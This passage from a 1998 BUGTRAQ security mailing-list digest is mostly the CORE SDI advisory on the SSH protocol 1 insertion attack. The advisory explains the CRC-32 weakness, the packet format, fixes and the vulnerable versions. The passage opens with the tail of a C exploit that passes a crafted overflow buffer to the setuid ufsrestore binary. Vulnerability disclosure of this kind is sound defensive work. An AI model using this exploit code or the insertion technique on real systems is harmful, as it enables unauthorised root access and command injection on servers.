printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
printf("hit ctrl-c and then type y\n");
execl("/usr/lib/fs/ufs/ufsrestore", &buf[4],"if", "-",(char *) 0);
perror("execl failed");
}
------------------------------
Date: Thu, 11 Jun 1998 22:25:14 -0300
From: Ivan Arce
Subject: CORE-SDI-04: SSH insertion attack
-------------------------------------------------------------------------------
CORE SDI S.A.
Buenos Aires, Argentina
Security Advisory
June 11th, 1998
SSH insertion attack
-------------------------------------------------------------------------------
This advisory addresses a vulnerability present in the SSH software
package that allows an attacker to execute arbitrary commands on the
SSH server or otherwise subvert an encrypted SSH channel with
arbitrary data.
Problem Description
~~~~~~~~~~~~~~~~~~~~
SSH (Secure Shell) is a program that provides strong authentication and
secure communications over insecure channels.
Its widely used for logging in to remote computers, file transfers and
tunneling of other protocols over the encrypted comunications channel.
All communications are automatically and transparently encrypted.
Encryption is also used for integrity checking purposes although
current implementations rely on a 32 bit Cyclic Redundancy Check
to perform integrity checks after the decryption of an incoming packet.
Encryption is done using one of a list of supported algorithms that
is exchanged between client and server.
Upon conection establishment client and server perform a protocol
negotiation that includes mutual authentication, selection
of a cipher supported by both ends for subsequent communications and
of a session key to be used with the cipher. Encryption is then
turned on using the selected cipher and session key, all further
communications are encrypted.
Currently supported ciphers are:
- Blowfish
Bruce Schneier's block cipher using a 128 bit key
- IDEA
A 128 bit block cipher
- DES
The Data Encryption Standard 56-bit block cipher
- Triple DES (3DES)
A three-key triple-DES algorithm with an effective key lenght
of 112 bits.
- ARCFOUR
An RC4 compatible stream cipher using a 128 bit key
The use of these algorithms in CBC (Cipher Block Chaining) or
CFB (Cipher Feedback 64 bits) modes with the CRC-32 integrity check
allows to perform a known plaintext attack (with as few as
16 bytes of known plaintext) that permits the insertion of encrypted
packets with any choosen plaintext in the client to server stream
that will subvert the integrity checks on the server and decrypt to
the given plaintext, thus allowing an attacker to execute arbitrary
commands on the server.
The attack is equally feasible on the server to client stream ,
although it just gives the ability to send arbitrary data the
user's terminal. The implications of such an attack are probably not
as severe as an attack to the server side of the connection but
must be taken in consideration in the process of applying fixes.
Technical details
~~~~~~~~~~~~~~~~~
After the protocol identification phase, where the server
sends a plaintext string specifiying its the protocol and software
versions, all communication is done encapsulating data in a
packet format described as 'The Binary Packet Protocol' [1]
The packet layout is as follows:
32 24 16 8 0
+----------+---------+---------+---------+
| data length (bytes) |
+----------+---------+---------+---------+
| 1 to 8 bytes of padding |
= =
+----------+---------+---------+---------+
| type | |
+----------+ +
| |
= data =
| |
+----------+---------+---------+---------+
| CRC-32 |
+----------+---------+---------+---------+
Data length: Length in bytes of the given packet, not including
the length field and padding
Padding : 8 - (length mod 8) bytes of random data, putting
random data at the beginning of the packet is an
effort to make known plaintext attacks more difficult.
Packet type: An 8-bit unsigned byte.
Data : length - 5 data bytes
CRC-32 : the four 8-bit check bytes, MSB first. The CRC is
computed before any encryption
Encryption is done on the padding+type+data+CRC fields, the length
field is never encrypted. The encrypted portion of the packet has
a length that is always a multiple of 8 bytes.
Knowning certain characteristics of the cipher modes being used,
i.e. CBC, with a known plaintext an attacker is able to build a
custom SSH packet (i.e. a type SSH_CMSG_STDIN_DATA packet) with
the padding bytes computed in a way such that the next 8-bytes
of the encrypted data will decrypt to arbitrary plaintext. In
this particular case, the decrypted data will correspond to the
type field and 7 data bytes.
After the 16 bytes (padding+type+7 data bytes) the attacker would
include a variable length of data bytes specifically crafted to
produce a valid CRC-32 field for the whole packet once it is
decrypted.
This attack and several variations using the same technique can
be performed due to the usage of weak integrity check schemes, in
particular CRC-32 has certain properties that allows the attacker
to forge a valid CRC for her corrupted packet.
However, for the attack to succeed the attacker must be able to
perform an active network attack, by either intercepting the
legit SSH connection at any point between the client and server and
injecting a forged packet or by performing a TCP session hijack attack.
Such an attack is described in [6] and for SSH the two methods of
TCP desynchronization can be used. In particular the method described
as "Null data desynchronization" can be carried out using packets of
type SSH_CMSG_IGNORE.
Note that the new revision for the SSH protocol, proposed and
published as Internet Drafts [2],[3],[4] [5] makes use of
cryptographycally strong message authentication codes for
integrity checks that wont fail to these attacks.
Its is important to mention that despise the vulnerabilities
found in the SSH protocol, it still remains to be a much more
secure alternative to telnet, rsh and rlogin applications.
[1] "The SSH (Secure Shell) Remote Login Protocol", T. Ylonen
Helsinki University of Technology. November 15th 1995
(draft expired on May 15th, 1996)
Included as the file ./RFC in the ssh distribution
[2] "SSH Protocol Architecture", draft-ietf-secsh-architecture-01.txt.gz
T. Ylonen, T. Kivinen, M. Saarinen. SSH. November 7th, 1997
[3] "SSH Connection Protocol", draft-ietf-secsh-connect-03.txt.gz
T. Ylonen, T. Kivinen, M. Saarinen. SSH. November 7th, 1997
[4] "SSH Authentication Protocol", draft-ietf-secsh-userauth-03.txt.gz
T. Ylonen, T. Kivinen, M. Saarinen. SSH. November 7th, 1997
[5] "SSH Transport Layer Protocol",draft-ietf-secsh-transport-03.txt.gz
T. Ylonen, T. Kivinen, M. Saarinen. SSH. November 7th, 1997
(drafts expired on May 7th, 1998)
All Internet drafts are available at
[6] "Simple Active Attack Against TCP", Laurent Joncheray,
Merit Networks Inc., 5th USENIX Security Simposium. 1995.
Impact:
~~~~~~~
An attacker with access to the encrypted SSH stream may insert
encrypted blocks in the stream that will decrypt to
arbitrary commands to be executed on the SSH server.
Fix Information:
~~~~~~~~~~~~~~~~
Upgrade to the upcoming SSH protocol version 2.
Commercial F-Secure SSH users contact Data Fellows Inc. for
information on how to upgrade to F-Secure 2.0
Notice that version 2 of the SSH protocol is not
compatible with the previous version, thus you
will need to upgrade all the SSH clients as well.
In the meantime, upgrade to version 1.2.25 of SSH, which
fixes the problem. The SSH 1.2.25 distribution can be
obtained from:
F-Secure SSH version 1.3.5 fixes this security problem.
If you are using the commercial Data Fellows SSH package and you
have a support contract, you can obtain the 1.3.5 from your local
retailer.
Users without a support contract can obtain a patch which fixes
this problem from:
.
A patch for the free SSH 1.2.23 distribution and the complete
SSH 1.2.23 package, with the patch applied, can be obtained at:
Below are the MD5 hashes for the provided files
MD5 (ssh-1.2.23.patch) = 6bdb63d57f893907191986c5ced557ab
MD5 (ssh-1.2.23-core.tar.Z) = fffb52122aae26c1f212c051a305a310
MD5 (ssh-1.2.23-core.tar.gz) = f9509ba0f0715637805c6b116adc0869
Vulnerable Systems:
~~~~~~~~~~~~~~~~~~
All systems running implementations of SSH using protocol version 1.x
are vulnerable.
This includes SSH software versions up to 1.2.23 and F-Secure SSH 1.3.4
To obtain the version of the SSH server that is running
on a given host you can issue the following commands:
$ telnet 22
Trying ...
Connected to .
Escape character is '^]'.
SSH-1.5-1.2.23
\ / \--------- software version
|------------ protocol version
^]
telnet> close
Connection closed.
$ exit
Additional Information:
~~~~~~~~~~~~~~~~~~~~~~~
These vulnerabilities were discovered by Ariel Futoransky
and Emiliano Kargieman
CORE SDI wishes to thank the SSH maintainers Tatu Ylonen
and Tero Kivinen for their quick response to the
issues rised by this advisory.
Olli Voima of Data Fellows Inc.
provided the fix information for the F-Secure products.
Comments and questions regarding this advisory should be sent to:
Ariel Futoransky
Emiliano Kargieman
For more information about CORE SDI S.A. contact
or visit
You can contact CORE SDI S.A. at using the
the following PGP key:
Type Bits/KeyID Date User ID
pub 1024/CF4E0CF5 1998/05/18 CORELABS
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3ia
Comment: Requires PGP version 2.6 or later.
mQCNAzVgfMgAAAEEAJSfJNdvCwIAc4AK0ckeimubLIwzsRVDRhjPQIOYt/7kxxio
DZybr53fwMEjyT8cHXRL08i0R9rcuFeCNAez6XcalbhqUKXDcLL/cZK80CCDSCs5
tRCZGGOEBnXQIoyvbvi4gNYhBS5wUvmh3b/mvRFTvhmRrUy9m/nO/LnPTgz1AAUR
tCBDT1JFTEFCUyA8Y29yZWxhYnNAY29yZS1zZGkuY29tPokAlQMFEDVgfMn5zvy5
z04M9QEBC6ED/0Szt3f54JTvkZG3ezQ8G60HvAw4/A5Ti6i3oze6jsXxzGp6pA1x
i0jaZpKaUSpo0MLc7BcijMKneuUHnN3XtN5YxtFt0aEoot1MIvv4BsdeUb3x257G
3+vr8SxGk44Vm4tfuN8F/2dNo/00yYP9rd3zQ8Tl+gmr5VxnLViZIDuh
=ulRg
-----END PGP PUBLIC KEY BLOCK-----
Copyright Notice:
~~~~~~~~~~~~~~~~~
The contents of this advisory are Copyright (C) 1998 CORE SDI S.A.,
and may be distributed freely provided that no fee is charged for
this distribution, and proper credit is given.
$Id: ssh-advisory.txt,v 1.8 1998/06/11 22:05:03 iarce Exp $
--
==============================[ CORE Seguridad de la Informacion S.A. ]=======
Ivan Arce
Gerencia de Tecnologia Email : ivan@core-sdi.com
Av. Santa Fe 2861 5to C TE : +54-1-821-1030
CP 1425 FAX : +54-1-821-1030
Buenos Aires, Argentina Mensajeria: +54-1-317-4157
==============================================================================
------------------------------
End of BUGTRAQ Digest - 10 Jun 1998 to 11 Jun 1998
**************************************************